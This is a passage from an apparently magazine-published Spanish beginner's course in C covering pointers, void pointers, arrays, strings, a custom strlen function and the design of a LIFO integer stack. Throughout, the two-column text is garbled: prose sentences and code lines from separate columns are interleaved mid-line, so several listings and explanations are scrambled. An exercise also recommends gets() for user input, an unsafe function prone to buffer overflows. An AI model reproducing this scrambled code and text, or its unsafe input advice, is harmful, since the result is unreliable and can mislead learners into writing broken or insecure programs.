datos apunten – en estos ejemplos:
/* Programa con los operadores & y * en punteros */

&p1 = &p2;
#include<stdio.h>
&p1 = p2;

int main()
{ Con todo el tostón que os he dado, es
float numero1, numero2, *puntero; fácil deducir por qué no se puede hacer
esto. Os los explico para que comprobéis
// Inicializamos numero e imprimimos su valor
que realmente lo sabíais ;-).
numero1 = 27.5;
printf("\nEl valor de numero1 es: %f",numero1);
1. En el primer caso &p1 = &p2; no es
// Apuntamos a numero1 con el puntero y modificamos su valor vía el puntero posible porque lo que pretendemos es
puntero = &numero1; cambiar de dirección de memoria una
*puntero = 78.7; variable, en este caso, un puntero.
printf("\nEl valor de numero1 ahora es: %f y tiene la dirección de memoria %p", Leámoslo “literalmente”: La dirección
numero1,puntero);
de p1 debe ser la dirección de la variable
// Inicializamos numero2 a través del puntero e imprimimos su valor y su dirección
// de memoria. Observad que la dirección se obtiene después de haber modificado a la que apunta p2.
// su valor.
numero2 = *puntero; C es muy celoso y no deja que hagamos
puntero = &numero2; esto nosotros. Lo tiene que hacer él :P.
printf("\nEl valor de numero2 es: %f y está en la dirección de memoria %p\n", Y encima, queremos meter a dos
numero2,puntero); variables en la misma dirección. No creo
}
que andemos tan mal de memoria como
para tener que recurrir a esto, ¿verdad?
Listado 6. Uso del operador de punteros monario indirección (*)
2. En el segundo caso tenemos algo
Que una vez compilado y ejecutado en puntero = &numero2; análogo al primero, sólo que ahora
nuestras máquinas nos da: numero2 = *puntero; pretendemos cambiar de dirección al
puntero y ponerlo en la misma dirección
El valor de numero1 es: 27.500000 Y veréis qué mono queda :P. que la que tiene la variable apuntada
El valor de numero1 ahora es: 78.699997 y
por p2.
tiene la dirección de memoria 0xbffff094
Para finalizar, os pido que os fijéis en
El valor de numero2 es: 78.699997 y está en
que hemos declarado primero la variable Podéis comprobarlo vosotros mismos
la dirección de memoria 0xbffff090
numero1, luego la numero2, y han sido creando algún programa y viendo los
Salida por pantalla 6 colocadas en posiciones consecutivas mensajes de error que nos va a dar el
de memoria. Puede chocar que parezca compilador.
Aquí vemos cómo se puede usar este
operador de punteros a ambos lados como si primero viniese numero2 y luego
del signo igual: numero1 ya que el valor de la dirección
A la izquierda del igual, se usa para de numero2 es 0xbffff090 y la de
modificar el valor de la variable apuntada numero1 es 0xbffff094. Es fácil deducir
aquí que: Os he explicado antes que en C cualquier
por el puntero.
puntero con cualquier tipo base puede
Y a la derecha pues lo que hace es apuntar a cualquier variable de cualquier
0xbffff090 < 0xbffff094
rescatar el valor almacenado en la tipo. Esto es realmente así. Para compro-
variable apuntada por el puntero al que barlo, podemos ver el siguiente código:
S i n e m b a r g o , r e c o r d a r, q u e l a s
precede este operador monario.
direcciones de memoria vienen en
#include<stdio.h>
representación de Little Endian, con lo
Todo esto, sigue siendo coherente, repito int main()
cual los bytes de menor peso se ponen {
una vez más :P, con las definiciones de
al principio. En este caso, esto no cambia int entero, *p_entero;
lvalue y rvalue dadas. Observad también
el resultado de la anterior comparación double real, *p_real;
que he puesto un comentario acerca del entero = 5;
;-). El compilador ha ido almacenando
momento en el que hemos obtenido la real = 24.323;
según se iba encontrando espacio libre
dirección de la variable numero2 a través p_entero = &real;
las variables, el declararlas primero una p_real = &entero;
del puntero puntero: se hace en ese
y luego otra no garantiza que nos printf("Dirección de la variable entero:
momento porque si no, luego lo que
encontremos primero en memoria una %p",p_real);
haríamos sería escribir el mismo valor printf("\nDirección de la variable real:
y luego la otra.
de la variable en ella misma. %p\n",p_entero);
return 0;
Para terminar, os voy a mostrar las }
Comprobad a poner dos líneas más
operaciones no permitidas con el
arriba la sentencia de obtención de la Listado 7. Punteros apuntando a cual-
operador dirección (&), suponiendo p1
dirección de la variable numero2 de quier tipo de datos, independientemente
y p2 punteros – da igual a qué tipo de de su tipo base
modo que quede así:

46

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Si lo compiláis, a excepción de unos el programa correspondiente al Listado esto, que puede llevarnos a confusión
cuantos avisos, que nos dicen lo que ya 4), podemos llevarnos alguna sorpresita. y “desbordar” algún que otro vector.
sabemos, que los tipos son Los Valores deben estar separados
incompatibles; nada grave. Podemos Me explico mejor: si tenemos un puntero por comas.
ejecutarlo y ver que realmente nos dan a enteros que apunta a una variable
la dirección. Comprobadlo apuntando tipo double o float y luego pasamos el Ahora veremos un ejemplo de un
con el puntero “compatible”. Lo podéis valor al que apunta este puntero a un programa que tiene un array de 10
hacer añadiendo en el código anterior entero (con el operador *) podemos enteros y los muestra en pantalla:
las líneas correspondientes. obtener (y de hecho así será) una
pérdida de información, un truncamiento /* Programa ejemplo de uso de arrays */

Sin embargo, hay una manera mucho del número. Ya que, como no se os
#include<stdio.h>
más elegante de hacer esto mismo: escapará, mis queridos Jedi, la cantidad
usando un puntero que pueda apuntar de bits necesarios para representar un int main()
a void. En este caso, void no es algo tipo y otro son totalmente distintos. {
vacío, sino que más bien es algo int arreglo[10] = { 1, 2, 3, 4, 5, 6, 7,
8, 9, 10};
indeterminado: podemos apuntar a Os animo a crear un código para este
register int i;
cualquier cosa. Dependerá de nosotros caso y ver cómo se comportan los
decidir a qué va a apuntar. punteros. Y también, cómo no, a // Mostramos el arreglo por pantalla
compartirlo con nosotros en el foro. for (i = 0; i<10; i++)
El anterior programa podía haberse {
putchar('\n');
codificado de la siguiente forma:
printf("Posición de arreglo[%i]:
%i",i,arreglo[i]);
#include<stdio.h> Vaaaaale. Os haré caso. Vamos a }
explicar los arrays, arreglos, putchar('\n');
int main() return 0;
vectores...¿algún nombre más para
{ }
int entero; designar a:
double real; una colección/arreglo/disposición de Listado 9. Programa ejemplo de arrays
void *generico; variables del mismo tipo,

entero = 5;
que además ocupan todas posiciones Y al ejecutarlo en nuestra plataforma
real = 24.323; contiguas de memoria, favorita veremos algo como esto:
que están agrupadas bajo el mismo
generico = &entero; nombre y Posición de arreglo[0]: 1
printf("Dirección de la variable entero: Posición de arreglo[1]: 2
%p",generico);
que para distinguirlas usamos un
Posición de arreglo[2]: 3
índice?
Posición de arreglo[3]: 4
generico = &real; Posición de arreglo[4]: 5
printf("\nDirección de la variable real: Pues yo creo que podéis llamarlas Yoda, Posición de arreglo[5]: 6
%p\n",generico); Posición de arreglo[6]: 7
Petit–Suisse o como se os venga en
gana, pero seguirán siendo eso que os Posición de arreglo[7]: 8
return 0; Posición de arreglo[8]: 9
} he puesto y enumerado anteriormente.
Posición de arreglo[9]: 10
Yo usaré aquí indistintamente cualquiera
Listado 8. Ejemplo de punteros void de los anteriores (menos Yoda y Salida por pantalla 9
En este caso, no obtenemos ningún Petit–Suisse :P).
Observad, que en la defini-
mensaje de aviso. Además, podéis ción/declaración del vector, he puesto
comprobar ejecutándolo que la salida Y ahora, vamos a ver cómo se
el tamaño, pero luego al recorrerlo, he
es la misma. definen/declaran e inicializan. Os pongo
de tener en cuenta que se empieza en
la sintaxis general y pasaremos a ver
0, así que irá desde 0 hasta 9 (si tamaño
Así que tenemos un comodín en La un ejemplo de esto:
es 10). Esto hay que tenerlo siempre
Fuerza: los punteros void. Pero hay muy presente cuando vamos a usar
modificadores tipo nombre_vector[tamaño]
que tener mucho cuidado con su uso. ve c t o r e s e n n u e s t r o s p r o g ra m a s .
= { Valores }
Si no es necesario, mi recomendación
es no usarlo. En algunos casos puede Aparte de esto, hemos de tener en
Y así definimos, declaramos e
que esté justificado su uso. cuenta que los elementos, al ser
inicializamos un vector de una sola
dimensión. Varias cositas: variables como estamos acostumbrados
También, quiero advertir a los padawans a ver, pueden ser de cualquier tipo que
del C, que si usamos cualquier puntero exista en C, o que declaremos nosotros.
Ta m a ñ o e s u n n ú m e r o e n t e r o.
para apuntar a cualquier tipo de dato, Además, admiten cualquier modo de
Los índices para designar a los
independientemente de su tipo base almacenamiento y modificador que
elementos del vector se enumeran desde
(algo así como lo que hemos hecho en permita C.
0 hasta (tamaño – 1). Cuidadín con

47

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


En cuanto a su inicialización “por redundancia). Este carácter nulo es: que ver :P –. ¿Y si usamos punteros?
defecto”, es decir, dejándola en manos '\0', así entre comillas simples. Pues veamos. Tenemos un arreglo que
del compilador, tengo que decir que los Por tanto, si declaramos un arreglo de se llama, en un dechado de originalidad
static y extern son inicializados a cero caracteres que vaya a ser una cadena, y creatividad en estado puro, arreglo.
y los auto dependerá del compilador. deberemos tener en cuenta que Y queremos acceder al elemento que
deberemos añadir el carácter nulo al ocupa la posición 4 (suponemos que
Nota final y reservar espacio en consecuencia. tiene hasta 10 elementos, por ejemplo).
Veamos un ejemplo que nos ayude a Pues mediante arreglos, este elementos
¡Tranquilo! No te pierdas en static, extern y asentar estos conocimientos: sería accedido mediante:
auto. Lo entenderás todo mejor en una
Ampliación que estoy preparando para el foro. char cadena[11] = { 'C', 'u', 'r', 's', 'o', ' ', 'd', arreglo[3];
Tranquilos, que todo llegará. Paciencia, cada 'e', ' ', 'C', '\0'};
cosa a su tiempo ;-).
Ahora definimos un puntero, llamado
Y esto sería una cadena de caracteres. puntero (¡después de escribir esto voy
Sin embargo, C, nos permite una forma a tomarme un descanso que no se puede
Y no tienen límite de dimensiones
más cómoda de hacer esto mismo: aguantar tanta imaginación!). Este
(bueno, sí, pero en la práctica como si
puntero debe ser del mismo tipo que
no tuviesen). Es decir, podemos definir
char cadena[11] = “Curso de C”;
los elementos del arreglo. Ni void ni de
un vector de varias dimensiones – o
otro distinto, para que todo funcione.
matriz – de la siguiente manera: Y si no queréis estar contando caracteres
Bien, primero deberemos hacer que
podéis definir esto así:
modificadores tipo nombre_matriz[tamaño_1] apunte al inicio del arreglo, al primer
[tamaño_2]...[tamaño_n] elemento, que no es otro sino
char cadena[] = “Curso de C”;
arreglo[0]:
¿Cuánto ocupan en memoria? Pues, eso
Sin especificar el tamaño. C lo calcula
dependerá del tipo de datos que vayan puntero = &arreglo[0];
por nosotros, tranquilos.
a almacenar, como en las variables nor­
males, pero además, habrá que multi­ Y luego, para acceder al cuarto elemen­
Para los dos últimos casos, el compilador
plicar este tamaño por el número de to:
añade automáticamente el carácter nulo
elementos que tenga el vector o matriz
al finalizar la cadena, cuando se puntero + 3;
(en este último caso se multiplican todos
almacene en memoria. Observad que
los tamaños – dimensiones de la matriz).
he reservado un carácter adicional a los A ver, que los miriclodianos no nos
¿Cómo se almacenan? Pues como he
que he escrito, por dicho carácter. Es jueguen una mala pasada... Uno podría
dicho, en posiciones contiguas de
un detalle a tener en cuenta ;-). preguntarse por qué funciona esto así.
memoria y por filas, si tuviesen más de
Y son preguntas muy sanas y que hay
una.
Como sois unos padawans muy que hacerse, pues sólo así llegaremos
avispados, con un nivel de miriclodianos al conocimiento de La Fuerza.
¿Cómo se inicializan estos de más de
más alto que la media – por eso leéis
una dimensión? Pues para dos
esta revista y sois asiduos del foro, si Esto funciona así, porque, aparte de
dimensiones, por ejemplo:
no; para que vuestros miriclodianos haberos dado el coñazo con el tipo base
modificadores tipo nombre_vector[filas] aumenten de nivel, visitad dicho foro del puntero, el compilador utiliza el
[columnas] = { {Valores},{Valores}, ... } :P – no se os escapará que sería muy tipo base para saber en cuánto ha
bonito, ya que los elementos de los de incrementar el valor de la
Donde {Valores} son los valores de cada arreglos (tanto uni como posición de memoria almacenada
fila, escritos por columnas. Obviamente, multidimensionales) ocupan posiciones por el puntero. De ahí que funcione.
d e b e h a b e r t a n t o s Va l o r e s c o m o contiguas de memoria, que pudiésemos La siguiente imagen os lo debe dejar ya
columnas. acceder a estos elementos vía punteros. completamente claro esto. (Imagen10)

Existe un arreglo especial en C: los Y lo es, es precioso, os lo puedo


arreglos de cadenas. C da una mayor asegurar. De nuevo, potencia en estado
potencia y flexibilidad a las cadenas, al puro. Vamos a ver cómo podríamos Imagen 10
tratarlas como vectores de caracteres hacer esto y explicar un poquito más la
y no como un tipo cadena, como existe relación entre arreglos y punteros. Ya no he puesto las etiquetas de rvalue
en otros lenguajes de programación. Hemos dicho que un elemento de un y lvalue en el puntero y sólo he puesto
Sin embargo, en C se puede distinguir arreglo es referenciado mediante el el nombre del primer elemento del
lo que es un arreglo de caracteres, sin nombre de dicho arreglo, seguido entre arreglo. Cuando hacemos puntero +
más; y lo que es una cadena. Para ello, corchetes del lugar que ocupa en el 3, la “flecha” iría al cuarto elemento de
habremos de añadir al final de la cadena arreglo – y de nuevo os recuerdo que la matriz, para apuntar a arreglo[3].
un carácter nulo (o nul como se le llama hay que tener en cuenta que el cero (Imagen11)
en el lenguaje del lenguaje C, valga la aquí, a la izquierda, sí que tiene mucho

48

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


/* Programa con el uso de punteros y vectores */

#include<stdio.h>

Imagen 11 int main()


{
char cadena[11] = "Curso de C";
Esto nos proporciona una forma muy
char *puntero;
potente y sencilla de recorrer elementos int num_caracteres = 0;
de un arreglo. Os animo a reescribir el
primer ejemplo de esta sección (el // Tratamos de cambiar el puntero constante cadena
programa correspondiente al Listado 9) //cadena = &cadena[3]; // Esta línea dará error
// Esta línea es válida
usando punteros. Tened en cuenta, que
// puntero = &cadena[3];
con lo anterior, apuntamos nada más. // Pero esta no
Para disparar :P y mostrar el valor que // cadena = puntero;
tenemos en memoria, deberemos usar:
// Recorremos la cadena y contamos sus caracteres
*(puntero + 3); puntero = cadena; // Igual si hacemos puntero = &cadena[0];
while ( *(cadena + num_caracteres) != '\0')
//Igual si ponemos puntero en vez de cadena
Que es distinto a usar:
{
num_caracteres++;
*puntero + 3;
}

En el primer caso, primero apuntamos printf("El número de caracteres en la cadena es: %i\n",num_caracteres);
y luego disparamos. En el segundo,
primero disparamos, es decir, obtenemos return 0;
}
el valor al que en ese momento apunte
puntero y luego lo incrementos en 3.
Listado 10. Programa ejemplo de arrays y punteros
De ahí los paréntesis, ya que el operador
monario '*' tiene mayor precedencia
que el binario '+'. Y no creo que a nadie le sorprenda, a tipo, no sólo de caracteres, forman la
pesar de ser arreglo un “puntero columna vertebral diría yo del lenguaje,
Existe una forma alternativa de apuntar constante” que se pueda hacer esto, ya aunque también hay otras muchas cosas
al primer elemento de una matriz o que en ningún momento hemos que iremos descubriendo en próximas
a r r e g l o. : U s a n d o s i m p l e m e n t e e l cambiado el valor de arreglo. Si lo entregas.
identificador o nombre que le hayamos tratáramos de hacer obtendríamos un
dado. Para el caso anterior: error “tipos incompatibles en asignación” Ahora, vamos a seguir asentando
o similar. Tanto si lo tratamos de hacer conocimientos, antes de seguir
puntero = arreglo; directamente, como a través de un avanzando. No se os escapa a estas
puntero. alturas que con punteros nos evitamos
Esto hace que algunos digan que el el tener que pasar como argumento a
nombre de un arreglo es un puntero al Y como muestra, un botón, en forma una función todo un vector, matriz,
primer elemento de ese arreglo. Y esto de programa:(ver listado 10) cadena... Nos basta con pasar un
es cierto y falso. Es falso porque puntero al primer elemento y luego
n o s o t r o s n o p o d e m o s h a c e r, p o r Como veis os he puesto una forma de “movernos” entre sus elementos.
ejemplo: contar cadenas en el ejemplo anterior.
Aparte os he puesto sentencias inválidas Nuestras espadas Jedi, los punteros,
arreglo = &variable; (están comentadas para que me pudiese nos brindan una forma muy potente de
compilar a mí). Probad a descomentarla hacer operaciones que de otro modo,
Y es cierto, porque se podría interpretar
y ver que os da el error que os comenté requerirían mucha más memoria – las
como que es un puntero que no puede
antes. La línea: variables locales de funciones se
apuntar a otra posición que no sea la
almacenan en la pila y no es lo mismo
del primer elemento del arreglo, con el puntero = &cadena[3]; tener que almacenar todo un vector o
cual coincide en identificador (o
toda una matriz que un puntero. Además
nombre). Es un puntero constante, que Como he puesto, es válida, pero está compactan mucho la escritura. Nos dan
siempre apunta al mismo sitio. Un comentada, por razones obvias: si no, potencia y La Fuerza necesaria para
puntero cabezón, vamos :P. no contaría bien el número de poder hacer programas más
caracteres. “ p r o f e s i o n a l e s ”. D e a h í q u e s e a
Sin embargo, os diré que sí se puede
importante que se entienda esto bien.
hacer: Como veis los punteros dan mucha Y por eso machaco tanto: nadie puede
potencia. Junto con las cadenas, de todo dejar de entender esto.
arreglo + 1;

49

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Vamos a refinar un poquito más nuestro
/* Implementación de una función propia para contar caracteres de cadenas de texto */
programa, porque en la siguiente
entrega, vamos a implementar una pila
#include<stdio.h>
LIFO (Last In – First Out = El primero #include<string.h>
en entrar es el último en salir) y luego
una pila anárquica. Será nuestra primera // Definición de la función que vamos a implementar
int contar_caracteres(char const *cadena);
aproximación a las estructuras de datos.

int main()
Bien, venga que os veo animados (juas, {
qué optimista soy, después del peñazo char prueba[1000] = "Hola, este es un Curso de C";
que os he dado...). Vamos a intentar int caracteres; // Caracteres de la cadena
char *primero; // Puntero al primer elemento de la cadena
emular una de las funciones que vienen
en C y que nos permite obtener la
// "Apuntamos al inicio de la cadena"
longitud de una cadena de caracteres. primero = &prueba[0]; // También primero = prueba;
Esta función es strlen() y en cualquier
página de Internet que hable de C podéis caracteres = contar_caracteres(primero);
encontrar su sintaxis.
// Lo imprimimos por pantalla
putchar('\n');
Nosotros vamos a ser como Juan
printf("El número de caracteres de la cadena es: %i.",caracteres);
Palomo: “yo me lo guiso, yo me lo
putchar('\n');
como”. Así que vamos a implementar printf("Usando funciones predefinidas de C,
esta función. Para ello, deberemos de tenemos que el número de caracteres es: %i.\n",strlen(prueba));
cumplir una serie de requisitos (a modo return 0;
}
de recordatorio para lo que queremos
hacer) que nos vamos a imponer, para
// Implementamos la función que cuenta caracteres en la cadena
ir haciendo bien las cosas:
int contar_caracteres(char const *cadena)
La vamos a implementar con {
punteros y arrays (obviamente). // Definimos la variable que devolverá la cadena
int tamanyo = 0;
Irá en una función aparte.
Aceptará como argumento de while (*cadena != '\0')
entrada un puntero al primer {
elemento del array. tamanyo++;
cadena++;
Finalizará de contar cuando
}
encuentre el carácter fin de cadena
(carácter nulo o nul). // Devolvemos el número de caracteres
Devolverá un entero con el valor return tamanyo;
d e c a ra c t e r e s d e l a c a d e n a . }

Bien, con esto podemos ir definiendo Listado 11. Implementación de la función para contar los caracteres de una cadena de texto
ya la sintaxis de esta función:
función a la cual queremos emular: elementos. En cambio, con esta forma
int contar_caracteres(char *cadena); strlen(). Esto me servirá para comprobar de definir la función, pasamos un
si la he emulado bien o no. puntero al primer elemento. Ahorramos
Intentad, antes de seguir leyendo memoria.
realizar el programa. Una vez que lo En segundo lugar, he cambiado la
hayáis intentado (que estoy seguro que definición de la función por la de: Más cositas de esta implementación...
lo haréis :P) mirad lo que yo os Bueno he usado putchar(), que muestra
propongo(ver listado 11). int contar_caracteres(char const *cadena); un carácter por la salida estándar, en

Bien, seguro que habéis coincidido con Aquí const, nos indica que no queremos vez de printf(), que imprime una cadena,
mi versión. Yo, aparte, he incluido que la función que hemos implementado tanto con como sin formato. Aparte, he
a l g u n a s c o s i t a s q u e va m o s a i r “modifique” la cadena que se le pasa cambiado la forma de contar los
explicando. Este es un Curso de C como argumento. En este caso, como caracteres.
Básico, y aunque mi intención no es la pasamos un puntero al primer elemento,
de daros todo mascadito, sí os voy a en vez de la cadena entera. Es mucho Y ahora, los deberes :P. Se me ocurren
explicar las cosas “novedosas” o más más eficiente y útil pasar sólo un valor varias cosa para añadir en este caso:
“destacables” de cada código. que no una cadena con 1000 elementos
En primer lugar, he importado la librería como hemos definido, pues tendríamos 1. Que sea el usuario quien
string.h, porque voy a hacer uso de la que poner en la pila estos 1000 introduzca la cadena y cuente el

50

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


número de caracteres el programa. 2. Definición de las variables/constantes
Para eso, podéis usar la función que vamos a necesitar.
gets().
Pues sí, antes de empezar a programar 3. Definición e implementación de las
2. Probad a quitar el const de la nada, hemos de preguntar(nos) qué es funciones que vamos a necesitar.
definición de la función lo que queremos hacer y hasta dónde 4. Desarrollo del programa.
contar_caracteres, y luego intentad queremos llegar con lo que queremos
modificar su valor desde dentro hacer. Es decir, ¡unas especificaciones Bien, hasta aquí es un esbozo general
de la función (cambiando algún queremos! Por tanto, vamos a imaginar de lo que queremos hacer. Es claro y
carácter, todos...). que nos han encargado realizar una pila sencillo: lo que vamos a ir haciendo. Es
de datos y nos dicen que ha de cumplir muy general. Por eso ahora, vamos a ir
3. Probad a implementar la misma con los siguientes requisitos: refinando un poquito más esto, lo que
función, pero usando la notación se conoce como “refinamientos
de arrays y la forma de acceder a Será de tipo LIFO (Last In First Out), sucesivos”, en los que detallamos ya
los elementos de los arrays. es decir, que el último elemento que se un poquito más cada uno de estos pasos.
4. Probad a cambiar la línea: haya introducido en la pila será el He de dejar claro que este razonamiento
primero en salir. Tengo que decir que es muy propio y cada cual ha de
int tamanyo = 0; todas las pilas son LIFO pero puede que desarrollar su propia manera de pensar
se nos ocurra una pila anárquica donde y ver estas cosas. Un ejemplo de
Por: pongamos lo que queramos y quitemos sucesivos refinamientos (hay pasos
de donde queremos. Aquí tenéis otro intermedios que voy a omitir por no
int tamanyo;
ejercicio ya :P. cansaros todavía más :P), puede ser el
siguiente:
Y ver qué pasa. Intentad pensar por
qué pasa esto. Ya lo he explicado en Tendrá un tamaño máximo de 100
1. Presentación del programa al usua­
alguna ocasión, pero con el anterior elementos, todos ellos números enteros.
rio.
código ya tenéis un Proof Of Concept 1.1. Menú en pantalla.
:P, bastante sencillo. Habrá que tener en cuenta los 1.1.1. Opciones de menú:
desbordamientos, es decir, que no se 1.1.1.1. Ver pila.
puedan sacar elementos si está vacía, 1.1.1.2. Introducir elemento en la pila.
Y antes de seguir con punteros y
1.1.1.3. Sacar último elemento de la pila.
matrices, vamos a programarnos una y que no se pueda introducir ningún
1.1.1.4. Salir del programa.
estructura de datos sencilla: una pila, elemento si está llena. 1.2. Argumentos de entrada: ninguno.
como la que usa C para funciones y 1.3. Argumentos de salida: número de
Bien, con estas sencillas especificaciones opción (1, 2, 3 ó 4) introducida por teclado.
variables locales. Y también, vamos a
(ya sabemos qué hacer), vamos a 1.4. Cosas a comprobar: que se intro­
ir viendo cómo encaramos este tipo de
duce una opción válida.
cosas en C. Como os dije, os voy a “diseñar el programa”. Os pido que
1.5. Efectos colaterales: Sin efectos
enseñar (o al menos intentar) a razonar tengáis a mano papel y lápiz que vamos secundarios, cual aspirina xD.
a la hora de programar. No deberemos a poner todo esto en pseudocódigo, 2. Desarrollo de las funciones que van
para irle perdiendo el miedo y para que a integrar el programa.
nunca de apresurarnos cuando tengamos
no lo perdamos de vista ;-) para futuras 2.1. Ver pila:
que hacer un programa.
2.1.1. Argumentos de entrada: ninguno.
referencias.
2.1.2. Argumentos de salida: ninguno.
La primera tendencia de todo el mundo 2.1.3. Cosas a comprobar: En principio
(y yo el primero), es la de tirarse a ninguna.
2.1.4. Acciones colaterales: Elementos de
programar. Un programa lleva detrás
la pila (desde el último al primero).
un tiempo para reflexionar y entender
2.2. Introducir elemento en la pila:
el problema y se ha de escribir en papel 2.2.1. Argumentos de entrada: número
bastante (o al menos un poco). Os ... y sus jefes vieron que aquello era entero a introducir en el tope de la pila.
enseñaré dos herramientas: bueno y le encargaron más trabajos y 2.2.2. Argumentos de salida: puntero que
le aumentaron el sueldo :P. En fin, apunta al borde la pila (opcional)
dejando de lado las chorradas 2.2.3. Cosas a comprobar: no desbordar
1. Pseudocódigo: que no es más que
la pila.
poner en “cristiano” lo que va a realizar manchegas que tengo, vamos a ir al
2.2.4. Acciones colaterales: no se han
nuestro programa. grano. Ahora nos toca pensar en qué descrito :P.
tenemos que hacer. Como soy de los 2.3. Sacar un elemento de la pila:
partidarios de “lo que quepa en un folio 2.3.1. Argumentos de entrada: puntero
2. Diagramas de flujo, que nos darán
no lo guardes en la cabeza”, vamos a a la cima de la pila (opcional).
una “visual” de nuestro programa.
2.3.2. Argumentos de salida: elemento
Así que, sin más dilación, vamos a pasar detallar lo que necesitamos hacer en
en el tope de pila/error por pila vacía.
a ver cómo nosotros, ya Jedis de esto nuestro programa: 2.3.3. Cosas a comprobar: no sacar más
del C, podemos programar una pila de del número de elementos existentes (pila no
1. Presentación del programa al usuario, vacía).
datos en C.
vía frase, menú... 2.3.4. Acciones colaterales: Actualiza pun­

51

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


tero a cima de pila.
2.4. Otras funciones a tener en cuenta:
2.4.1. Presentación de menú:
2.4.1.1. Argumentos de entrada: ninguno.
2.4.1.2. Argumentos de salida: Opciones
del menú del programa.
2.4.1.3. Acciones colaterales: Devuelve el
valor de la opción (número entero).
2.4.1.4. Cosas a comprobar: Que se intro­
duzca una opción válida.

Esto es una forma muy particular de


ver este programa y una forma de
afrontar las fases del refinamiento
descendente. No quita para que vosotros
desarrolléis vuestro propio estilo (cosa
que deberéis hacer), ni para que en otro
momento a mí se me ocurra otra forma
distinta de presentar esto.

También os he dicho que podemos


utilizar diagramas de flujo. Bien, son
un elemento muy visual para poder ver
el desarrollo del programa, tanto a nivel
general, como a nivel particular. En este
caso, para no hacer muy extenso esto,
vamos a aplicarlo a las dos funciones
que tenemos para el manejo de la pila
(ver flujograma 1)
Flujograma 1

Nota

¡Que los puristas de la programación no me


dilapiden! El flujograma no ha sido hecho
siguiendo las reglas de creación de los mismos
al pie de la letra. Ya habrá tiempo para ir
perfeccionando el arte de hacer flujogramas
como $DEITY manda ;-).

Como podéis ver, esto nos da una


imagen de cómo realizar la función para
extraer elementos de la pila. Para la de
introducir elementos, tenemos el
siguiente flujograma (ver flujograma
2).

Como podéis ver, se le pueden añadir


muuuchas cosas a estos flujogramas.
Hay gente que al lado pone el código
equivalente a cada acción, hay quien
completa con otras cosas... Eso os lo
dejo a vuestra elección. Así podéis
intentar desarrollar el diagrama para la
función que presente el menú y la pila
en pantalla.
Flujograma 2
El flujograma correspondiente a la
función de introducir un elemento de la pseudocódigo es un paso anterior a Es muy importante que os acostumbréis
cima de la pila, no se corresponde dicho pseudocódigo). Lo que trato de a hacer esto antes de poneros a escribir
exactamente con la descripción en daros es una idea general de lo que cualquier programa. La razón es muy
pseudocódigo (aunque más que queremos hacer. s e n c i l l a : Te n é i s u n a p a n o r á m i c a

52

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


completa de lo que queréis hacer,
/* Programa que "simula" una pila LIFO de enteros */
ahorráis tiempo y es una forma de hacer
las cosas de una manera “profesional” // Las llamadas de rigor a las librerías que necesitemos
si se quiere decir así. // Funciones estándar de entrada/salida (I/O)
#include<stdio.h>
Y ahora, el código del programa. Como // Otras funciones (como system())
#include<stdlib.h>
veis, he optado por un desarrollo en
funciones de casi todo el programa. Una // Definimos las constantes que vamos a necesitar
cosa que hay que tener en cuenta y que #define tam 10 // Número de elementos de la pila
en este caso, por ser sencillo no he
hecho (y por no hacer esto más // Definiciones de funciones que vamos a necesitar de acuerdo a las especificaciones dadas
int menu(void); // Presenta el menú en pantalla
interminable de lo que ya va siendo :P),
void ver_pila(void); // Presentamos la pila en pantalla
es determinar qué variables vamos a void poner(int numero); // Introducir elemento en la pila
usar, de qué tipo y si son locales o int quitar(void); // Sacar un elemento de la cima de la pila
globales. En este caso, parece que el
puntero a la cima de la pila va a ser un // Variables globales que vamos a necesitar
// Puntero a la cima de la pila (de números enteros recordemos)
candidato perfecto a ser global.
int *cima; // Puntero para la cima de la pila
int *actual; // Puntero con el valor actual de la pila (posición)
Os muestro el código y luego comenta­ int pila[tam]; // Pila de enteros (tratada como array aquí)
mos si queréis (y os quedan ganas de int error = 0; // Variable usada para la rutina de sacar elemento
peñazo) algunas cositas más (ver lis­
// Programa principal
tado 12).
int main()
{
Bien, vamos a ir comentando las // Variables locales
p e c u l i a r i d a d e s d e l p r o g ra m a . Po r int opcion; // Opción del menú
riguroso orden de aparición, como en int salir = 0; // Variable de control para salir del bucle
las películas: int i; // Contador en bucles
int numero = 0; // Número a introducir en la pila. Al comenzar
// el programa, es cero
#define tam 10 // Número de elementos
// Inicializamos el puntero a la cima de la pila, apuntando al elemento más bajo.
// de la pila
// Idem con el puntero que da la posición "actual" de la pila
cima = pila;
Esto es una directiva del preprocesador actual = pila;
y en este caso nos sirve para definir // Inicializamos la pila
una constante, sin dirección de memoria for (i = 0; i < tam; i++)
{
(por tanto no se puede modificar, ni
i[pila] = numero; // Inicializamos a cero
siquiera mediante punteros, que ya os }
veía las intenciones :P). Lo que nos
permite es que luego el compilador sepa // Bucle infinito para el programa
que donde ve la palabra “tam” ha de do
{
sustituirlo por un 10. Esto nos permite
opcion = menu();
“jugar” con el tamaño de la pila de
enteros, sustituyendo sólo en un sitio. // En función de la opción introducida elegimos qué hacer
switch (opcion) {
// Inicializamos la pila case 1: //Mostrar pila
for (i = 0; i < tam; i++) ver_pila();
{ break;
i[pila] = numero; // Inicializamos a cero case 2: // Introducir elemento en la pila
} // Primero pedimos el número
putchar('\n');
printf("Número a introducir: ");
Bien, aquí tenemos una “curiosidad”.
scanf("%i",&numero);
Muchos, al verlo, habréis pensado: ¿se // Lo introducimos
le ha ido la chaveta a este tío? No. Esto poner(numero);
me viene como anillo al dedo para break;
explicaros que esta sintaxis también es case 3:
// Sacamos la cima de la pila
válida. Y como no me limito a deciros
numero = quitar();
que es válida, sino que os lo razono, // Lo imprimimos, si procede
pues si seguís leyendo, padawans míos, if (error == 0)
os encontraréis con la explicación {
detalladita y razonada, en la medida de putchar('\n');

mis posibilidades, por supuesto.


Listado 12 - Implementación de una pila LIFO de enteros - (1/3)

53

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Bien, vamos a pensar esa rutina, en vez
printf("Número en cima de la pila: %i",numero); de con arrays, que es algo más lento,
putchar('\n');
con punteros. Sería algo así como:
}
break;
case 4: // Inicializamos la pila
salir = 1; for (actual = pila, i = 0; i < tam; i++)
system("clear"); {
exit (0); // Salimos del programa normalmente *(actual + i) = numero; // Inicializamos a cero
break; }
}
} while(salir == 0); Como veis, esta es una de las formas
